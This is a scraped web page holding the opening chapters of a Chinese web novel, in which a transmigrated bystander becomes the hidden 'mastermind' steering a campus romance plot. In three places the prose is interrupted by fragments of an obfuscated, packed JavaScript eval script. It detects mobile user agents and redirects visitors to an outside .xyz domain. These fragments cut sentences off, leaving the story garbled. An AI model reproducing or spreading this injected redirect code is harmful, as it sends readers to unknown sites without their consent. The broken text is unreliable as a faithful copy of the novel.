《路人的我是幕后黑手》 1. 路人 梅迪亚纳学院是一座典型的「贵族学院」。 豪华、奢靡、阶级分明。 而此时,数以千计的学生围在这所学院门口。 所有人都像着魔了一样,脸上带着规格统一的疯狂—— “啊啊啊啊啊啊!我要死了,一想到马上就能看到F4们,我就兴奋得想要尖叫!” “裴拯!裴拯!裴拯!!” “快扶我一下,我要喘不过气了!” “F4不散,我们永随!” “怀烟怀烟!拥你入怀!我们永远支持你!!!” …… 一切赞美听起来都十分激动。 只有一个声音混在里面,显得有气无力……甚至是敷衍: “哇——好激动哦——天哪。呃前面忘了中间忘了后面忘了,总之我好爱F4——” 牧后拖着长音,边喊边拿出手机来看时间。 要命,怎么才过去了五分钟? 按照小说剧情,F4应该在傍晚八点到达礼堂。 也就是说,他还要在这拥挤的人群里傻站两个小时。 牧后:“……” 这年头,当个路人都不容易。 没错,他穿越了,穿越进了一个性转版玛丽苏校园小说。 该小说情节之狗血、逻辑之混乱、设定之逆天,不建议任何口味正常的人阅读。 但牧后还是读了。 不仅读了,还读得非常仔细。 不是他对吃屎情有独钟,而是实在没办法。 谁让他穿进来了呢? 还是手上拿着这本小说穿进来的。 因此,即便再难以下咽,这本小说对于他来说,依旧是记载了过去、现在和未来的「命运之书」。 值得他反复背诵,认真揣摩。 当然,主要是揣摩哪天请假比较合适。 幸好他穿的是路人,以原著的狗血程度,要是穿成反派或是什么重要配角,那麻烦程度简直想想都要头大。 还有两个小时,再站两个小时就好了。牧后安慰自己。 两小时后迎新晚会就会开始,届时夜幕四合、聚光灯骤然亮起。 F4四个人会如同神明一般降临在舞台上,沐浴着所有人痴迷崇拜的目光——除了主角。 主角将是这一神圣时刻的破坏者。 根据剧情,神情局促、衣着寒酸的主角会在这一刻,像惊慌失措的小鹿那样,一头扎进那团神圣的光芒,撞倒f3,引发全场混乱。 从此开启与四个癫公纠缠不清的校园生活。 窥一斑而知全豹,拿一句流行语来总结这部书的内容,就是—— “除了反派人人都爱我,但专情的我只会挑选四个老攻。” ——的青春校园伤痛版。 就在牧后忍不住要第三次看手表时,左边突然爆发出一阵贯穿耳膜的尖叫: “有人来了有人来了,好像真的是F4!” “天哪!F4竟然真的来学校了!我要晕过去了!” 他们是学生,不来学校才应该奇怪吧。 牧后揉了揉有些受伤的左耳。 右边的声浪更大: “裴拯!裴拯的美貌太耀眼了!我甚至不能直视他的脸!” 裴拯啊,记得他好像是f1。 还有同学你疑似有点太夸张了,人脸上是不会长镁光灯的,还不至于无法直视。 牧后感觉右耳也有些痛。 左边的人听到这话,却立即警觉起来,反驳道: “裴拯?美则美矣但缺乏灵魂,连个表情都没有,靡怀烟才是最好看的。” 靡怀烟就是f3来的吧? 右边不屑:“呵,三流审美的人也配站在这里,跟我们一起迎接F4?” 等一下,不要上升到人身攻击。 眼看自己左右两边的人要吵起来,牧后立刻后退一步,想要退出他们之间,以免被殃及池鱼。 “疼疼疼!”后面的人痛叫出声。 糟,踩到别人的脚了。 “不好意思啊。” 牧后扶起后面那个痛到弯下腰的同学,“我们两个换一下位置如何?免得我再踩到你。” 被踩到的同学惊愕地抬起头,呆了: “换位置?你的意思是,让我去第一排,你来我的位置?” “有什么不妥吗?”牧后问。 “不不不,没有不妥,”那同学连忙摆手,“我只是有些不敢相信……就因为踩了我一脚,你就要放弃第一排的位置?那里可是离F4最近的地方啊,多少人梦寐以求都得不到!站在第一排,甚至……” “甚至?” “甚至有可能被F4看到和记住!” 同学眉飞色舞。 被F4看到和记住? 被癫公们看到……和记住? 牧后打了个冷颤。 他立刻将后面的同学拉到第一排,将两人的位置调换过来。 “你真是个好人!”同学紧紧握住牧后的手,眼角涌出感激的泪花,“你的恩情,我会记一辈子的!” “您夸张了,该说感谢的是我。” 牧后客气假笑。 何况站在第二排玩手机更没负担。 牧后刚点亮手机屏幕,刚刚安静下去的声浪便又猛烈起来。 牧后抬起头。 他刚才就觉得奇怪了,按照剧情,F4应该在两个小时之后才出现,怎么会来的这么早? 透过层叠的人群,牧后疑惑地向尽头看去。 一个人被层层保镖围着,正在从一辆看起来就价值不菲的豪车上走下来。 看长相,不是F4中的任何一人。 旁边的声音佐证了牧后的猜想: “不是F4……但是!竟然是孟宇华!没想到他也是今天来学校报道!” 如果说F4站在了学院权力的巅峰,那么孟宇华就是最接近他们的人——同时也是全书最大的幕后黑手。 当然在牧后眼里,这家伙本质上就是个促进主角和F4感情的工具人。 工具人到什么程度呢。 当作者想写主角生病被F4照顾的剧情,就会写“孟宇华想办法让主角突然晕倒了”。 想强迫主角做一些羞耻的事,就写“孟宇华想办法在国王游戏里抽中了国王签”。 想让F4为主角争风吃醋,就写“孟宇华想办法挑拨离间”。 想写主角跟F4共处一室、情感升温,就写“孟宇华想办法把他们关进了不xx就出不去的房间”等等等等。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918272|160304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想办法想办法……尤其是最后一个,这办法是想就能出来的? 别太离谱。 而且只有结果没有过程,你完全不知道孟宇华想出来的办法是什么,总之他就是做到了。 假设小说中提到的事都是孟宇华一个人完成的,那么得益于作者混乱且不顾人死活的叙事手法—— 孟宇华不仅仅得是时间管理大师,同时会还得会瞬移、分身、透视、读心等一众能力,才能完成作者布置给他的任务。 这哪是反派,这得是超能力者啊! 牧后立刻在心中点了三根香,朝他拜了拜。 F4他不感兴趣,但“超能力者”可是很值得见上一见。 秉持着看热闹的心态,牧后也学起旁边的人,伸出手臂,似乎热情地想与传说中的幕后黑手握个手。 路人嘛,主打的就是一个参与感。 反正他站在第二排,不会真握上的。 随着那颀长的身影越走越近,周围尖叫声的分贝也越来越大,人群开始剧烈涌动起来。 他们拼了命似的将手伸到那男人面前,像狂信徒祈求着他们的神明降下恩泽一般。 而那个缓缓走来的男人,似乎也有回应他信徒的打算——他在拥挤的信徒中前倾身体,修长的手握向牧后。 牧后:“……” 我就客气客气,没让您真握上来。 牧后不着痕迹地将手臂一收,隐在其他人拼命往前伸去的手臂之后。 哪知那只修长的手,如同附骨的蛇一般迅速紧贴上来,牢牢拽住了牧后的手腕,顺势将他往前狠狠一拽—— 这一切发生得太快了,牧后还没来得及做出下一步反应,就已经被扯到了第一排。 不妙。不妙。不妙。 牧后心中警铃大作。 他迅速扭转手腕,试图从那个人的钳制中逃脱出来。 但那个人却先一步松开了手,看向牧后的眼中带了些意味深长: “明明是我的粉丝,却不想跟我握手吗?” 牧后反应很快,立刻扯出一个谄媚的笑:“怎么会呢,您看错了。” “那就好。” 孟宇华收起笑容,他重新伸出手,仿佛在讨要一个和解。 牧后只好拗出狂热粉丝的样子,“热泪盈眶”、“兴奋”地握住了孟宇华的手,还依依不舍似的上下摇了几下。 孟宇华低头看着牧后握住他的手,表情有种阴谋得逞般的戏谑。 “接住我。”孟宇华说。 接住他……? 在牧后愣怔的这一瞬间,“砰”地一声,孟宇华顺着握手的力道,倒向牧后怀里。 牧后下意识托住了他。 所有人都看过来,四周突然静可闻针。 牧后低下头。 怀里的人双目紧闭、神态安详,如同被抽走灵魂的人偶——一个死沉死沉的等身人偶。 牧后:“……?” 什么新型碰瓷手法? 勉力支撑着失去意识的孟宇华,牧后深深地吸了一口气,继而长而缓地吐出来。 然后再吸气、再呼气。 平复好心情后,面对同样呆住了的人群,牧后挂起僵硬的礼貌微笑: “……麻烦给叫个救护车吧。” 2. 成了幕后黑手 校医院病房里,孟宇华已经从昏迷中醒了过来。 牧后眼睁睁看着他屏退了所有人,只留了自己在病房。 牧后摸不清这小说中的「幕后黑手」到底想干嘛,只好等候在病床边,堆起笑: “您还有哪里不舒服吗,我去给您倒杯水?” 得赶紧把这位爷伺候高兴了,希望他大人不记小人过,自己才好回归正常的路人生活。 见孟宇华没反应,牧后站起身,自觉拿起杯子去接水。 “这个世界是一本小说。” 孟宇华的声音从身后传来。 牧后的身形猛然顿住。 彼时,时间已经来到了黄昏,浓稠到发红的晚霞流淌进空旷整洁的VIP病房里,好像把一切都烧起来了。 白色窗纱不断拂过牧后的脸庞,带走了他脸上事先准备好的谄媚。 他原想用谄媚糊弄过去,不管是猛虎扑街式的道歉还是苍蝇搓手式的告饶,总之先把面前莫名其妙的flag揭过。 可那句话一出现,谄媚就没有用了。 牧后把杯子放下,回过身看向孟宇华。 躺在病床上的男人像是被掏空了内在,只剩外面薄薄的一层壳,死气沉沉。 孟宇华再次开口:“你看过原著吗?” 牧后:“看过。” “对它熟悉吗?” “倒背如流。” “想回家吗?” “当然想。” “那就好,”男人虚弱地微笑道,“你过来。”他招手,“再近一点。” 一直到两人几乎鼻尖对着鼻尖,男人抬起手,点在牧后耳后的一小块皮肤上。 一阵钻心凉意顺着指尖钻进耳根处,牧后迅速后退,捂着左耳: “这是什么意思?” 牧后眼前浮现出文字,最靠上的一条是【主角的初登场:未完成】。 “你已经看到了,”孟宇华说,语气虚弱,“这是情节提示器,它会显示剧情完成程度。” 牧后轻触左耳耳根后的皮肤,果然文字消失不见。 “这个地方,最好不要让除了你之外的人触碰到。”孟宇华指着耳后说,“全部剧情完成之后,你就可以回家了。” 牧后读出了他的言外之意,眉间一挑,“那如果剧情没完成呢?” “没完成的话……” 男人有些无奈地笑笑,低声说了一些话。 听完,牧后的表情从平静,逐渐转变成一种近乎可怖的阴沉。 孟宇华所说的后果他无法接受、也承担不起。 “哈哈哈。” 牧后拍了拍脸,把阴沉拍掉,让自己的表情没那么僵。 他干笑,“那真是幸亏有您在,想必今后剧情一定会进展得很顺利吧?” “以后剧情要靠你了。” 牧后连忙摆手,“别呀,我只是区区路人。您才是能者,能者该多劳才对。” “你不只是路人,你是新一任的幕后黑手。” “幕后黑手?您开玩笑呢,我何德何能——” “我就要死了。”孟宇华打断他。 牧后愕然:“什么?” 怎么莫名其妙就要死了,我还什么都没问呢。 “……你到底是谁,为什么会知道这些?又为什么告诉我?你为什么会突然晕过去?难道你也不属于这个世界?你真的是孟宇华吗——小说中的孟宇华?” “问题太多,时间太少,答案你以后会知道的。” 孟宇华不再解释。 他按下床边的护士铃,连在他身上的仪器在同一时刻发出令人不安的尖锐噪声。 “这支钢笔也给你,以你对原著的熟悉程度,你知道该怎么用。” 他语气平静,就像真的在交代后事: “主角现在被关在综合教学楼的某个铁柜里,找到他,让他在整点时分站在礼堂的聚光灯下,剧情就会开始。” “找不到,剧情无法按时完成,你就会被困在这本小说里,永远无法回去。” “跑起来吧,”男人将钢笔抛给牧后,“你还有半个小时。” …… …… 这妈的都什么事! 牧后从校医院里飞奔出来,跑去综合教学楼,在一条条走廊上翻找着挂着锁的铁柜。 他还有一肚子疑问没解开,又新添了一肚子火。 什么叫我是新一任的幕后黑手? 别把自己的事情推给别人! 距离剧情开始还剩半小时。 可孟宇华说的教学楼有两栋,一共有四十六个铁柜,把所有的柜子都检查一遍,起码需要花四十多分钟。 只靠盲猜和暴力排查,时间完全不够。 想一想,牧后,想一想。 孟宇华不会故意设置一个无法完成的目标。 书中说过,主角白昼不止一次被关在铁柜里,在这之前,那些霸凌他的人会用浇花软管把他打湿。 而综合教学楼A座外面是广场,没有草坪和花坛,那么他们经常活动的地方应该是B座。 这样就排除了一半的选项了。 但还是不够。 还有什么可以利用的……嗯,距离,那个柜子所在的地方应该距离卫生间较远,否则他们不会舍近求远,跑到花坛附近用外面的软管引水过来。 花坛在北侧,高度也要计算在内。 所以应该是B座一楼或者二楼的北侧。 牧后脑海中迅速构建出相应的结构平面图——只剩八个选项了。 穿过连廊,抵达B座。 牧后用从安保室那里顺来的钥匙盘一个一个试过去,每打开一个空柜子都让他的脸色阴沉几分。 牧后信任自己刚才的推理,但推理也只是推理,谁也不能确保是对的。 还有最后一个柜子。 已经到走廊尽头了。 牧后扶着铁柜子,平缓着自己剧烈运动后的呼吸。 如果这个柜子里面还没有人,那他真的要永远被困在这部玛丽苏小说里了。 钥匙环叮当作响,四周一片寂静。 所有人都去往了礼堂,只剩下被留在原地的灰姑娘。 牧后拧动钥匙。 锁扣开启,柜门打开。 里面有个黑色小兽似的身影向里瑟缩了一下。 谢天谢地。牧后下意识笑了笑。 他撑着柜子探身向前,从肺中挤出一缕残存的浊气,仿若叹了口气: “终于让我找到你了。” …… …… 白昼觉得他永远无法从这里出去了。 这里狭小、逼仄、暗无天日。 就像他的人生一样。 从他被推搡进这个铁柜子的那一刻,他就放弃了挣扎。 他已经过了十多年这样的生活,面对欺凌时的顺从已经成为他的习惯。 他也曾经幻想过有人会像英雄一样出现,但他一次次地祈求,又在一次次漫长的等待中绝望。 没人会来拯救他。 他早已接受了这个现实。 可今天似乎不一样。 “咚。” 头顶传来声轻响。像是有人把胳膊依靠在了橱顶上。 柜门被拉开。 白昼艰涩地抬起头。 逆着光,他根本看不清面前这个人的样貌,只能看见那镀着金光的微卷黑发和微勾的唇角。 夹杂着轻微喘息,那人笑着向他伸出手:“终于让我找到你了。” 有人……特地来找我? 白昼空洞的眼睛中,浮现出一点希望的微光。 他的英雄、终于出现了吗? 白昼想象着那人握住自己的手,温柔地将自己拉出这个充斥着铁锈味的柜子。 “跑!” 啊? 白昼感动到一半突然卡住。 这人压根没有温存地握手,而是不由分说地钳住他的后脖颈,勾他出柜子,然后拽住他手腕开始急速狂奔: “我们时间不多了!” “等下、等下……”白昼有点懵。 这人不是特地来救自己的吗,现在这又是什么情况? 气氛切换得是不是有点、有点快? 白昼一向运动量不足,边跑边喘息,“我们去哪?” “去礼堂!” “为什么要……” “别问。” “你的名字……” “不重要。” “我想……” “别说话。” 白昼只好乖乖闭嘴。 偌大的连廊回荡着两人凌乱的脚步声,路过安保室的时候,那人还折返了一趟,将钥匙环挂回在墙上。 正如那人所说,他们的目的地是高顶礼堂。周围人密密匝匝,座位间的步道变得狭窄,几乎难以立足,更遑论挤进去。 而那个人的脚步很灵巧,很从容,连带着被拽住的他都灵巧起来了。 他们在人群中穿梭,像两尾游鱼一样,一直游到了最前排、也最拥挤的地方。 那人终于驻了足。 白昼缓过呼吸,抬头。 他的前面是被聚光灯笼罩的F4,那四个修长美丽的身影被众人簇拥着,如众星拱月。 这场景美丽且神圣,但白昼看了一眼便移开了目光——他对他们不感兴趣。 他只想对那个救他出来的人道谢。 尽管过程粗暴了些,但如果不是这个人,他会被锁在柜子里一整夜,浑身冰凉湿透,直到被第二天的值日生发现。 白昼咬了咬嘴唇,刚欲开口,“我……” 那人正巧回过身,上下打量一番,笑着捋了捋白昼的领子: “让你跑了这一路,衣服都跑乱了。马上就该你出场了,还是得利索点好看。” 白昼再次开口,“我……” 那人仿若未觉,自顾自地这里拍拍那里捋捋,灵巧地掠过白昼的口袋,又伸手把白昼略显凌乱的头发压了压。 那人自言自语:“总感觉还缺点东西。” 说完,那人从腰间的包里掏出一只蓝金色钢笔,食指抚摸了一下,随手插在白昼胸前的口袋上,“这笔给你了。” 这笔一看就价值不菲。白昼一下子慌乱了,“这、我不能要。” 自己才是应该感谢的那一方,怎么好意思还收他的东西? 收着。那人说,“不是白送,是交换。” 白昼没懂,他身上哪里有什么值得交换的东西呢?“可是……” 但那人没听见似的,插上钢笔就转回身去了,一遍一遍地低下头看手表,像是在计时。 白昼见那人不理自己,更紧张了。 他只好旧事重提,说他刚才一直想说,却又没说出来的话: “谢、谢谢你。” 这次那人听见了,抬起头,把手搭在白昼的肩膀上,把他往前带了带,笑道: “谢我什么?” 白昼一紧张说话就开始打磕巴: “谢谢你把我从柜子里放出来,谢谢你拯救、拯救我。” 谢谢你让我觉得还有人在乎我,谢谢你给了我希望。 白昼还想这么说。 可是那人脸上的笑却僵住了一瞬,目光从白昼脸上滑开,滑向地面。 “错啦。我不是拯救你的那个人。” 那人低着头,拍了拍他的肩膀。 “相反,我是来推你进地狱的。” 猝不及防地,那人把手放在他的背上,用力一推—— “当——” 整点的钟声响起。 白昼被这股力道推出人群,被推到了聚光灯之下。 他站不住,趔趔趄趄往前走了几步,一头扎到了一个人腰上,两个人都重心不稳,重重摔倒在地。 被撞倒的人没有责备他,反而翻了个身坐起,抬手制止了安保,关心起他来: “你还好吗,同学?” 很柔和、很悦耳的声音,像是被羽毛拂过,应该是让人过耳不忘的。 可是白昼现在顾不上回应。 过强的光线让他的眼睛难以适应,他以一个狼狈的姿势趴在地上,无措地回头找寻—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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靡怀烟想了想,抽走了白昼胸前口袋里的那支钢笔,别到自己胸前,轻笑道, “既然你用了我的方巾,这支笔就留给我做一个小小的纪念吧。” 钢笔是别人刚刚给他的,他要还回去。白昼嘴唇蠕动,想要回却张不开嘴。 手上的方巾细腻柔滑,边角绣着深绿色的孔雀羽毛纹样,中间逐渐被渗出的鲜血染上红色斑点。 如果带着纸巾,自己止血就可以了。 这样自己就不会欠下人情,钢笔也不会被拿去抵债。 可白昼记得很清楚,自己早上刚把一包没拆封的纸巾装进口袋。 ——那包纸巾到底丢到了哪里? …… …… 那包纸巾正安静地躺在牧后的口袋里。 口袋里除了纸巾,还有一只微缩型的耳麦。 人群摇摇晃晃地向着聚光灯处拥挤,人人都绷紧了脚尖、抻直了脖子,想要看一眼那里发生了什么。 牧后逆着人流向后走,毫无关心。 因为他对接下来会发生什么一清二楚。 他走上了二楼的台阶,在安置面光灯的平台边缘坐下,扶着栏杆,晃着腿。 没人会来这里的,被大型灯体挡住,从这里向外根本看不到舞台,只能看到观众席上密匝匝的人头。 唯一的优点就是信号好。 牧后拿出那只耳麦,戴在左耳上。 他在白昼身上放了窃听器,如果不出所料的话,那只窃听器现在大概已经到了靡怀烟的身上。 [……滋啦滋啦] 没一会儿,耳麦中的信号变清晰了起来。 [……你今天可真是够倒霉的,怎么让人撞了?还拿手帕给人包扎。撞你那人肯定是故意的,你又不是没遇到过类似的,他就想在你面前露个脸呗。] [我感觉这个不是。呵呵。小家伙跟我说对不起的时候简直要慌死了,有够好玩的。] [怎么着,你现在的小男友不要了,开始喜新厌旧,想换新目标?] [小乐太粘人,我已经有点倦了……这个明显更有意思嘛。我还从他那里拿了一个纪念品。] [这次的纪念品是什么?让我也看看。] 耳麦中传来一阵摩擦声,像是收音器被人拿在手里把玩了一阵,然后安静下来。 [……哦,你拿了他一只钢笔。我说你这变态的癖好能不能治治,真有点瘆人——跟连续杀人狂似的,喜欢从猎物身上拿东西收藏。] [人总得有点爱好。] [狗屁爱好。收藏了那么多,你那陈列柜都放不开了吧?] [我感觉这个不一样。] [你感觉哪个都不一样。] [这次慢慢来,不吃快餐了……我想让这个小家伙转来我的班级。] [啧,你还玩上了。真可怜啊这人,被你盯上……滋啦……滋啦滋啦……] 测试完成。 牧后切断信号,将耳麦装进侧兜。 设备运行正常,剧情未出偏差,想钓的大鱼已然上钩。 牧后按出圆珠笔尖,拿出个巴掌大些的牛皮本。 【f3,靡怀烟。 典型的花花公子,堕落得过分的纨绔,乐于玩弄感情的空心人。 他缺乏耐性、从不忠贞,甚至常常还没追到手就开始厌倦。 在他花哨复杂的行为模式下,其实是一套简单如孩童的逻辑——越得不到的越想要,拿到手里的反而不珍惜。 因此f3的攻略重点很简单—— 就是不要“被攻略”。】 牧后写完,合上本子,叹了口气。 他没有骗白昼,同时被四个人爱上并没有看起来那么快乐和光鲜,特别是当那四个人或多或少都有些心理疾病时。 他将白昼推去的地方,的的确确是个地狱。 3. 算命先生 “哎,昨天迎新晚会上,有个人突然冲出来扑倒了f3,你听说了没?” 牧后慢悠悠地把书包在桌子上,跟周围同学道过早上好,然后露出半分腼腆的笑,“还有这回事?” “你果然什么都不知道!昨天在礼堂没抢到前排,对不对?” 同桌立刻精神了,一拍桌子,一副要大讲八卦的神情,“虽然我也没抢到,但我听站在第一排的人说,昨天那事可刺激啦!” 一听这话,周围发呆等铃响的同学们立刻围上来,拖椅子拽板凳的,还有人干脆斜坐在了课桌上。 牧后很有耐心地把被人坐在屁股底下的课本抽出来。 有人跟着附和: “你还知道什么,快仔细讲讲!” 看着周围听众越来越多,同桌眉飞色舞,“据说啊,只是据说,那人是个跟咱们同一届的新生!” “新生?这么大胆。哎你说,他是不是用这种方法勾引f3呢?” “肯定是啊,然他还能是被人推出去的?” 同桌一脸笃定,“哎你说,对不对啊?” 他杵了杵旁边开始看书的牧后,显然是为这个听众不够专心而不满。 牧后于是抬起头,笑眯眯地附和,“对啊对啊。” 同桌得到肯定,立刻朝着周围的众人点头,“那个新生简直用心叵测,其心可诛!” 听众们深以为然,“所以那个胆大包天的新生到底是谁?” “这个嘛……还没人知道。” 周围同学“切”声一片,还以为真能听到些货真价值的爆料: “你就说你不知道就是了,干嘛还说没人知道呢?” “就是没人知道!” 同桌辩解说,“他跑进去那个角度可太刁钻了,是个逆光的死角,又被安保围住,看不到脸,只能看清校服是低年级款式。” 见众人都是一副半信半疑的样子,同桌指天发誓: “我可没乱说。f3的头号粉丝,就是那个危家少爷危栋之,出了重金悬赏这个新生的信息,说就算掘地三尺,也要把这家伙挖出来。” 悬赏? 听到这个词,牧后耳朵一动。 似乎有利可图。 没办法。他现在空有「幕后黑手」的名头和任务,没有幕后黑手的资源,手头那叫一个拮据。 后面剧情里需要花钱的地方可很多,得赶紧找个冤大头给自己报销才行。 另外,说起冤大头。 昨天自己忙完主角的事情后,回到医院,发现孟宇华压根没死。 医生说他只是陷入了昏迷,但什么时候能醒不好说。可能一个月,也可能三年,甚至可能永远睡下去。 要不是看在他是个病人的份上,牧后真想一拳朝他脸上揍过去。 什么新一任幕后黑手,根本没人想当这个幕后黑手!就让自己当个爱岗敬业的路人不好吗? 现在好了,他既要当路人又要当幕后黑手,一个人打两份工,还没人给发工资。 “悬赏多少?”牧后问。 同桌伸出指头比了个七。 牧后挑眉,“七千?” “七位数!” 周围一片倒抽冷气的声音。 “个、十、百、千、万……” 坐在牧后课桌上的人掰着手指头,讷讷地说,“百万级别的悬赏……” “冤大头来了。”牧后喃喃道。 为了个无法确认真假的消息,就愿意拿出百万级的价码,这不是明晃晃在脸上写了“人傻、钱多、速来”吗?不抽空去宰上一笔,牧后感觉自己的心都会滴血。 “叮铃铃——” 早读铃声响起,凑在一起八卦的学生们意犹未尽地回到了自己的座位。 牧后拿出自己的牛皮本,开始核实和梳理下一步计划。 不过计划再细致也需要人来实施,他现在不光缺钱,还缺人。 要是能有个免费助手就好了。 脑子灵不灵光无所谓,身高得高,有点肌肉是最好,毕竟有不少体力活需要做。 以及为了低调行事,这个人最好不要在小说中出现过,最好跟自己一样是路人角色。 从哪找呢,这样的免费助手。 圆珠笔尖敲在纸面上,牧后侧头打量起同桌: 一米八五,因为打篮球有些肌肉,相貌清秀但不出挑,眉目间还有些憨傻气。 名字普通得恰到好处,绝对是路人。 唯一的可惜之处就是有些碎嘴子。 还成,将就着用也能行。 眼珠微转,牧后突然出声对同桌说,“你喜欢f3吧。” “咳咳咳……” 同桌正看课本呢,突然被这一记直球打得猝不及防,莫名其妙有些心虚: “怎么突然说这个……废话!谁不喜欢靡怀烟?” “那让靡怀烟坐你前桌怎么样?” “你怎么开始讲胡话了呢。” 同桌拿手在牧后眼前晃晃,“靡怀烟怎么可能分到咱们这个班,而且还恰好选中我前面的座位。我做梦都不敢这么梦。” 牧后一脸无所谓: “所以你是不想喽。” 同桌狐疑地看着牧后,终于感觉他不像是在开玩笑,“当然想!非常想!但你真的有办法让靡怀烟坐我前桌?” “不信?那咱们打个赌。” 牧后伸出一根手指,“如果我输了,我帮你带一个学期的饭。” 同桌迟疑,“要是你赢了呢?” 牧后拖着腮看向同桌: “那你就给我当助手吧,丁鹏程。” …… …… 丁鹏程不知道,就在今天,他把自己卖给了一个奸商。 “那你就给我当助手吧,丁鹏程。” 青年懒散地半趴在课桌上,单手支着头,冲他微笑。 这笑容颇具亲和力,配合上清晨的阳光简直可以算得上明媚——但丁鹏程怎么看怎么感觉脊背发凉。 不过对f3的崇拜还是让他嘴硬着接下这个赌约: “助手就助手呗,反正你又做不到。” “但是!”丁鹏程突然说道,“咱俩这个赌得有个时间限制。万一截止时间无限长,等毕业了都没兑现,那这赌约不就作废了吗?” 说完,他颇有些为自己的机智而沾沾自喜。 没错的,丁鹏程,谁都糊弄不了你。 看着丁鹏程志得意满的小表情,牧后差点没绷住笑出声。 怪可爱的,牧后想。 这个助手以后不仅能提供帮助,没准还能提供乐子。 “当然可以啊,时间。我看看……”牧后低头看了一眼手表,“就现在。” “叮铃铃玲玲——” 上课铃响起,班主任迈步走进来,他身后跟了两名学生。 看清其中一人的脸后,丁鹏程不敢置信地揉了揉眼睛。 甚至全班都陷入一种压抑的宁静,两秒钟后班里爆发出一阵喧腾: “靡怀烟,靡怀烟!是靡怀烟!他来做什么,难道是分配到咱们班了!” “等一下等一下,我得换一个更清楚的眼镜……” “能跟靡怀烟一个班,今年的运气全部用完我都情愿!” “不会吧,我真做白日梦了……” 班主任见班中一片大乱,连忙拿起教鞭哐哐地拍讲台,让众人安静下去,“都坐好!” 班主任站在讲台上,“咱班今天来了两位新同学。这位是昨天刚来报到的靡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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看到两个人走下讲台,丁鹏程手忙脚乱地整理仪容,“我我我我现在看起来怎么样?头发有没有乱……看看我的领子,歪没歪?” 放心吧,F4们是不会在意路人的,在他们眼中我们只是背景板。 偶尔有人会对我们露出一点虚假的笑,但目的也不过是为了维护他们自己的形象。 牧后看着热情过头也紧张过头的同桌,终于还是没有戳破他的幻想,叹了口气,给他顺了顺头顶翘起来的那一簇短短的呆毛。 白昼低着头从讲台上走下来,在他的座位上放下了自己的书包。 他短暂地抬头盯着牧后,牧后微笑着对他轻轻摇头。 ——现在还不是说话的时候。 白昼于是垂敛目光,默默坐下。 倒是靡怀烟一如既往地开朗,他再次展示起他迷人的微笑,很有风度地跟周围的同学打招呼,甚至跟丁鹏程握手: “我以后就是你的前桌啦,请多指教。” 丁鹏程咽了咽口水,把因为紧张而疯狂分泌汗液的手伸过去,“请、请多指教,我叫丁鹏程……” 感受到丁鹏程汗津津的手,轻微洁癖的靡怀烟眼皮跳了一下,但还是堪堪维持住了表面上的热情友好。 然后他很流畅地把沾了汗的手伸到牧后面前,“请多指教。” 牧后:“……” 拿我当擦手巾是吧? 牧后满脸黑线地跟靡怀烟握手,两人彼此干笑几声,然后迅速松开。 一直默默地看他们互动的白昼突然开口,问牧后: “你还没说你的名字。” “抱歉抱歉,是我疏忽了,” 牧后面色如常,“我叫牧后,以后就是同班同学了。” 牧后。白昼跟着轻声重复。 4. 仙女教母 耳机里断断续续传来人声,牧后有一搭没一搭地听着。 五分钟前,靡怀烟把白昼约出了教室。 如果他猜的没错,靡怀烟应该是想邀请白昼参加下周二的舞会。 牧后在牛皮本上写出下一个重要情节: 【拍卖舞会】 原著里,主角就是在这个舞会上遇见了f1。 f1对主角一见钟情,还因此在挑选舞伴时,跟f3上演了一出争风吃醋的大戏。 参加舞会不难,难就难在“一见钟情”上。 自私、冷酷、残忍。 这是f1的性格侧写。 如何让这样一个人,对一个从未见过的陌生人一见钟情? 牧后长叹一口气,揉了揉眉心。 头痛。 不过就算“一见钟情”的剧情搞不定,【拍卖舞会】这个情节总归是能按时完成的。 毕竟白昼向来不懂拒绝,靡怀烟又是情场大师。只要靡怀烟开口邀请,白昼必然—— 耳机里传来白昼的声音: [对不起,我不能参加舞会。] “咳咳咳……” 牧后刚喝的一口水差点喷出来。 耳机那边的靡怀烟显然也很惊讶,好像这还是他第一次被人拒绝: [是因为那天跟其他人有约吗?] 白昼:[没有……] 看着白昼吞吞吐吐的样子,靡怀烟误会了什么: [不想跟我一起出现在公共场合?] 白昼:[不、不是的……] 靡怀烟:[真遗憾。不过如果你改变主意了,我随时欢迎。] 牧后:“……” 不要以退为进! 不要欲擒故纵! 不要给白昼留思考的时间! 靡怀烟啊靡怀烟,好歹你的设定是“情场大师”,你的敏锐度去哪儿了? 你面前的人不是你的狂热粉丝,也不是有求于你的野心家,他是个缺爱的小孩,他只会怀疑你的邀请是不是一个拙劣的恶作剧! 你给白昼留的时间越多,只会让他越来越退缩。 所以看着他的眼睛,态度强硬一点,让他现在就答应! 看到牧后呛水,丁鹏程很好心地给牧后拍背,帮他顺气:“突然怎么了?” 牧后抽了张纸巾擦去唇边的水渍,叹气。 “没什么,只是突然发现……我可能要加班了。” 靡怀烟生性浮浪,如果三天之后白昼拒绝了他,他大概率会去约别人。 以他的身份,别说约一个舞伴,就算约一个班的舞伴都轻轻松松。 还是从白昼入手吧。 想要完美控制剧情,就必须把主角握在手中。 牧后把手中的笔放下。 他需要获得主角百分百的驯顺和盲从。 为此他需要重塑主角与自己之间的关系,甚至是主角本身。 找一个外界刺激好了,牧后想。 一个能打碎他却不会让他完全坏掉的催化剂。 …… …… 